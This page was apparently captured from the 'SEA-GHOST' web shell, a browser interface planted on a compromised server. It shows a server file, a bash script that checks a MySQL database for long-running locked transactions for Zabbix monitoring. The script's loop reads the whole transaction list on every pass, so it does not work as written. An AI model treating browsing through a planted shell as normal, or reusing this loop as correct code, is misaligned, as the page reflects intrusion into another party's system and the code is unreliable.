[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/proc/3/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/root/proc/3/cwd/var/lib/zabbix/deadlock_check.sh

#!/bin/bash
IFS=$'\n'

time=$1
dlist=$(mysql -e "SELECT trx_id, trx_mysql_thread_id, trx_started  FROM information_schema.innodb_trx;" | tail -n +2)

for i in ${dlist}
do
  trx_id="$(echo ${dlist} | awk {'print $1'})"
  trx_mysql_thread_id="$(echo ${dlist} | awk {'print $2'})"
  trx_started="$(echo ${dlist} | awk {'print $3,$4'})"
  delta_time="$(($(date +%s) - $(date +%s -d "${trx_started}")))"
  if [ "${delta_time}" -gt "${time}" ]; then
    lock_trx_id="$(mysql -e "SELECT lock_trx_id FROM information_schema.INNODB_LOCKS where lock_trx_id=${trx_id}\G" | grep lock_trx_id | awk {'print $2'})"
    if [ ! -z $lock_trx_id  ]; then
      host="$(mysql -e "SELECT Host from information_schema.PROCESSLIST where ID=${trx_mysql_thread_id}\G" | grep Host | awk {'print $2'} | awk -F ":" {'print $1'})"
      result+="Source: $host, TID: $trx_mysql_thread_id, TIME: $delta_time; "
    fi
  fi
done

echo "$result"

SEA-GHOST - SHELL CODING BY SEA-GHOST